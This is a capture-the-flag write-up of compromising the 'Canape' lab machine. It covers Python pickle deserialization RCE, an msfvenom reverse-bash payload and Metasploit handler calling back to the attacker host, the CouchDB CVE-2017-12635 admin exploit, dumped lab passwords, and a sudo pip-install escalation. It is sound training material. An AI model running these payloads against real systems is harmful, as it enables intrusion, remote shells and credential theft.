PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-git: | 10.10.10.70:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Last commit message: final # Please enter the commit message for your changes. Li... | Remotes: |_ http://git.canape.htb/simpsons.git |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Simpsons Fan Site |_http-trane-info: Problem with XML parsing of /evox/about 65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA) | 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA) |_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Pwn
The web application on port 80 is a website where we can read or add quotes from The Simpsons characters.
From the nmap we see that there is a git repository so with wget -r --no-parent http://10.10.10.70/.git we can download it and we can read the server side application:
if"p1"in data: item = cPickle.loads(data) else: item = data
return"Still reviewing: " + item
if __name__ == "__main__": app.run()
we can see that the server is using Flask to serve the content and has 3 main routes:
/quotes to display quotes from a local ChouchDB
/submit to submit a quote for a character in the WHITELIST list
/check to actually read a previous inserted quote.
From the website we can access both submit and quotes pages but not check: that is because the developer hided the link on the HTML page (but not server side!).
From the history of the repository we saw that the check with the md5 in the submit function originally used the base64 encoding.
Since the server side code is using pickle to deserialize/serialize our input without sanitization we can try to execute commands from the loads method.
Serialization (pickling) and deserialization (unpickling) are mechanisms used in many environment (web, mobile, IoT) when you need to convert any Object to something that you can put “outside” of your application (network, file system, database).
To serialize some object like python class we can explicit implement methods such as __reduce__, __getstate__ and __setstate__ to instruct pickle on how to generate the string for our object.
On our python application we have that the input char and quote (from the form) are serialized and dumped in a file with name md5(char + quote).p. With check function we can call the unserialization of the file.
Since the __reduce__ method is used on unserialization we can write our own object Exploit with a malicious __reduce__ method. This should return a list of n elements, the first being a callable, and the others arguments. The callable will be executed with underlying arguments, and the result will be the “unserialization” of the object.
In addition we need to calculate the md5 of our input to correctly select the malicious file triggering a POST to /check; we need also to bypass the check on the character name.
We first tried to execute the exploit on our machine:
However this method will fail to complete the execution because on print we get the error TypeError: cannot concatenate 'str' and 'int' objects but the commad ls is correctly executed. With this scenario the flask application will return us a 500 error but will execute the command: we don’t have the ability to read the command output so we need to trigger a command to execute a reverse shell.
First we need to create the reverse shell command for bash with:
msfvenom -p cmd/unix/reverse_bash lhost=10.10.15.87 lport=3487 -f raw > bart.sh
The filename of the file will let us bypass the whitelist constraint.
msfconsole -x "use exploit/multi/handler; set payload cmd/unix/reverse_bash; set LHOST 10.10.15.87; set LPORT 3487; run -j"
To execute the receiver of the reverse shell in background on metasploit.
with requests.Session() as s: s.headers = { "User-Agent": UA, "Content-Type": "application/x-www-form-urlencoded" } r = s.post(submit, data=test) assert ("Thank you for your"in r.text) h = md5(test["character"] + test["quote"]).hexdigest() r = s.post(check, data={"id": h}) print(r.text)
print("-------------- EXPLOIT -------------------------------------------") char = cPickle.dumps(Exploit()) quote = "\n" h = md5(char + quote).hexdigest() data = {"character": char, "quote": quote} r = s.post(submit, data=data) assert ("Thank you for your"in r.text) r = s.post(check, data={"id": h}) print(r.text)
And we got a shell!
To upgrade the reverse shell to a meterpreter session we can use post/multi/manage/shell_to_meterpreter.
From the session we can see that we had to privesc from www-data to homer or directly to root to read the flags.
From netstat we saw that there were two ChouchDB ports in LISTEN: 5984 and 5986. The DB service is runned by homer user.
So we discovered a list of DBs where we don’t have access (for now!) and the DB with the quotes that we saw on the web site.
Searching for an exploit for couchdb we found a remote privilege escalation CVE-2017-12635.
The exploit will create a user with admin rights from non-admin users exploiting the JSON parser of ChouchDB. The execution is very simple: we need to PUT http://localhost:5984/_users/org.couchdb.user:dodo with data {"type": "user", "name": "dodo", "roles": ["_admin"], "roles": [], "password": "mypassword"}.
Now we can authenticate to ChouchDB and start querying all DBs.
curl $DODO/passwords/739c5ebdf3f7a001bebb8fc4380019e4 {"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""} curl $DODO/passwords/739c5ebdf3f7a001bebb8fc43800368d {"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"} curl $DODO/passwords/739c5ebdf3f7a001bebb8fc438003e5f {"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"} curl $DODO/passwords/739c5ebdf3f7a001bebb8fc438004738 {"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}
Now we got some users and passwords:
1 2 3 4
:0B4jyA0xtytZi7esBNGp couchy:r3lax0Nth3C0UCH homer:h02ddjdj2k2k2 homerj0121:STOP STORING YOUR PASSWORDS HERE -Admin
The password 0B4jyA0xtytZi7esBNGp will login with SSH (port 65535) as homer and we can get the user flag.
From the command sudo -l we can see that we can run pip install as root without password:
1 2 3 4 5
Matching Defaults entries for homer on canape: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape: (root) /usr/bin/pip install *
We create a fake setup.py to cat the content of the root flag in a readable file (it’s possible to embed a payload to get a root reverse shell):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from setuptools import setup from setuptools.command.install import install import os